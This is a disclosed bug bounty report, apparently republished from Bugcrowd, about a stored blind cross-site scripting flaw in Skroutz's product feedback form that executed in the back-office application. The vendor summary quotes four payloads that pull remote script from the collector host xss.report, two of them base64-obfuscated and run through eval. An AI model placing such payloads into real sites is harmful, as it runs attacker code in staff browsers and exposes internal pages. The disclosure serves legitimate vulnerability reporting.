Blind Cross-Site Scripting (XSS) in SKU/product/shop reviews/feedback
A product feedback form stored attacker-supplied JavaScript and later rendered it in the back-office application, so a submitted payload executed in the context of internal staff. An attacker could run code in an administrator's browser and potentially view internal pages and users, though the report says this required a human action and may have had limited scope.
Skroutz Public Managed Bug Bounty
Originally disclosed on Bugcrowd
- Accepted in 15 hours
- Fixed in 11 months
- Disclosed after 19 months
Summary by Skroutz Public Managed Bug Bounty
Mr. @rawezh_1 has identified a Stored Blind Cross-Site Scripting Vulnerability that affects our application. More specifically our product feedback form reflected the stored JavaScript code back to our back-office application giving the attacker visibility of internal pages and users and/or potential limited scope code execution, requiring a human action. The payload is straightforward similarly to the examples below:
'"><script src=//xss.report/s/rawezh123></script>
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8veHNzLnJlcG9ydC9zL3Jhd2V6aDEyMyI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= onerror=eval(atob(this.id))>
javascript:eval('var a=document.createElement(\'script\');a.src=\'//xss.report/s/rawezh123\';document.body.appendChild(a)')
"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8veHNzLnJlcG9ydC9zL3Jhd2V6aDEyMyI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs= autofocus>
To verify the payload trigger, the xss.report domain was used. Thanks to Mr. @rawezh_1 we were able to pinpoint and fix the issue in a timely manner.
Summary by rawezh_1
this submission about blind XSS that I found on feedback product now this vulnerability fixed thanks for the team
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could execute JavaScript in a back-office user's browser, giving visibility of internal pages and users and/or potential limited scope code execution, but this required a human action and the report describes the scope as potentially limited.
What the attacker needed
Submit a product feedback form; staff opens the feedback in back-office
The fix
The issue was fixed by the team after the report.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A feedback form let people type text that was saved and later shown to staff in an internal admin page. The form did not clean that text, so a script hidden in a review would run inside the staff member's browser when they opened the page. This is called blind cross-site scripting because the attacker cannot see the admin page directly and has to wait for a staff member to trigger it.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.